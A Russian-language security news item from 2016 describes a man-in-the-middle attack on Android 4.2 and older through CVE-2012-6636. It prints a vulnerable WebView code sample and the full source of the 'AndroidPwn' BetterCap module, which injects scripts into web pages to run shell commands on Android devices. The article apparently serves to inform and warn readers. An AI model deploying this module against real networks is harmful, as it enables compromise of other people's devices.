Злоумышленники могут осуществить MitM-атаки на Android-устройства с устаревшей ОС


Uyazvimost v AndroidИсследователем безопасности был обнаружен способ атаки на устаревшие версии операционной системы Android, позволяющий скомпрометировать любое устройство с такой системой.

Для выполнения произвольной команды на устройстве злоумышленнику достаточно проэксплуатировать исправленную в 2012 году уязвимость и использовать ПО BetterCap для осуществления атаки "человек посередине".

В ходе атаки злоумышленником эксплуатируется уязвимость CVE-2012-6636. Ошибка позволяет выполнить произвольные команды через приложение, которое использует элементы управления интерфейсом на WebView, а также  декларирующее собственный JavaScript-интерфейс с помощью следующего кода:

public class WebViewGUI extends Activity {
  WebView mWebView;
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    mWebView=new WebView(this);
    mWebView.getSettings().setJavaScriptEnabled(true);
    mWebView.addJavascriptInterface(new JavaScriptInterface(), "jsinterface");
    mWebView.loadUrl("file: /// android_asset / www/ index .html");
    setContentView(mWebView);
  }

  final class JavaScriptInterface {
    JavaScriptInterface () { }
    public String getSomeString() {
      return "string";
    }
  }
}

Удаленный пользователь может вставить специально сформированный JavaScript-сценарий в страницу. А уже запуск скрипта позволит выполнить произвольные команды.

Исследователь написал прокси-модуль AndroidPwn, который позволяет в автоматическом режиме осуществлять атаки "человек посередине" против всех устройств, находящихся в сети. Разработка специалиста также использует BetterCap – это специализированное ПО для автоматического осуществления подобных атак. Код модуля:

class AndroidPwn < BetterCap::Proxy::Module  
  @@command = nil
  @@payload = ""

  def self.on_options(opts)
    opts.separator ""
    opts.separator "AndroidPwn Proxy Module Options:"
    opts.separator ""

    opts.on( '--command STRING', 'Shell command(s) to execute.' ) do |v|
      @@command = v.strip
      @@payload['COMMAND_HERE'] = @@command.gsub( "'", "\\\\'" )
    end
  end

  def initialize
    raise BetterCap::Error, "No --command option specified for the proxy module." if @@command.nil?
  end

  def on_request( request, response )
    if is_exploitable?( request, response )
      BetterCap::Logger.info ""
      BetterCap::Logger.info "Pwning Android Device :".red
      BetterCap::Logger.info "  URL    : http: // # {request.host}#{request.url}"
      BetterCap::Logger.info "  AGENT  : #{request.headers['User-Agent']}"
      BetterCap::Logger.info ""

      response.body.sub!( '', "#{@@payload}" )
    end
  end

  private

  def is_exploitable?(req,res)
    req.headers.has_key?('User-Agent') and \
    req.headers['User-Agent'].include?("Android") and \
    req.headers['User-Agent'].include?("AppleWebKit") and \
    res.content_type =~ /^text\/html.*/ and \
    res.code == '200'
  end
end

Данный модуль в автоматическом режиме осуществляет атаки "человек посередине" на все устройства под управлением Android 4.2 в сети под контролем злоумышленника. AndroidPwn позволяет выборочно компрометировать выбранные устройства.

Единственный способ защиты от атак с применением AndroidPwn - обновление устаревшей версии операционной системы Android до более современной версии.

Стоит отметить, что в настоящее время ОС Android версии 4.2 и более ранние - используются на 27,1% всех мобильных устройств, где установлена данная ОС.


Обновлено (19.01.2016 21:54)